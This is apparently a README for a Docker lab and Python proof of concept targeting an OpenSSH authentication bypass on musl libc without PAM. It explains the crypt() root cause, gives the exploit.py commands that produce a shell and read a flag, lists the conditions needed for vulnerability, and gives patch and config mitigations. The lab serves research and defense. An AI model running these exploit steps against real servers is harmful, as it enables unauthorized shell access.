
Reproducible Docker lab and Python PoC for the OpenSSH musl libc authentication bypass (CVE-2026-123158), with vulnerable and glibc/PAM control targets.

Reproducible lab and PoC for the OpenSSH authentication bypass on
musl libc without PAM. sshd accepts any password of 257..1024 bytes
on accounts whose /etc/shadow field is *: musl returns "*" when
crypt() receives more than 256 bytes and sshd compares it with the stored "*".
Fixed in OpenSSH 10.6p2. Does not affect glibc or systems that use PAM.
⚠️ Only for your own lab or systems with explicit authorization for auditing. The targets listen only on
127.0.0.1. Do not expose it to any network.
alpine-musl/ vulnerable target: OpenSSH compiled against musl, without PAM
debian-glibc/ control: glibc + PAM (should not be exploitable)
docker-compose.yml
exploit.py PoC: priming + long password on the same connection -> shell
docker compose up -d --build
sudo apt install -y python3-paramiko # or: pip install paramiko
python3 exploit.py -i 127.0.0.1 -p 2222 -u victima -l 257
Accounts created on both targets:
victima — * field in shadow (attack target).bob — real password with $6$ hash (the salt is stolen from there for the jump).Checks:
# should get in (vulnerable):
python3 exploit.py -i 127.0.0.1 -p 2222 -u victima -l 257 --cmd "id; cat /home/victima/flag.txt"
# should fail (glibc+PAM control):
python3 exploit.py -i 127.0.0.1 -p 2223 -u victima -l 257
# should fail (outside the 257..1024 range):
python3 exploit.py -i 127.0.0.1 -p 2222 -u victima -l 256
OPENSSH_VERSION: "10.6p2" in docker-compose.yml and rebuild.$6$ account: remove bob from the Dockerfile → pick_salt() falls back to DES → it no longer gets in.! instead of * in victima → it does not get in.Vulnerable only if all of the following are met: musl libc, sshd without PAM, OpenSSH < 10.6p2,
PasswordAuthentication yes, one account with * and another with a $5$/$6$ hash, and the
SSH port reachable. On Alpine several of these come by default.
apk upgrade openssh && rc-service sshd restart # the update does not restart sshd on its own
# or, if updating is not possible:
echo "PasswordAuthentication no" > /etc/ssh/sshd_config.d/00-no-passwords.conf && rc-service sshd restart
docker compose down --rmi local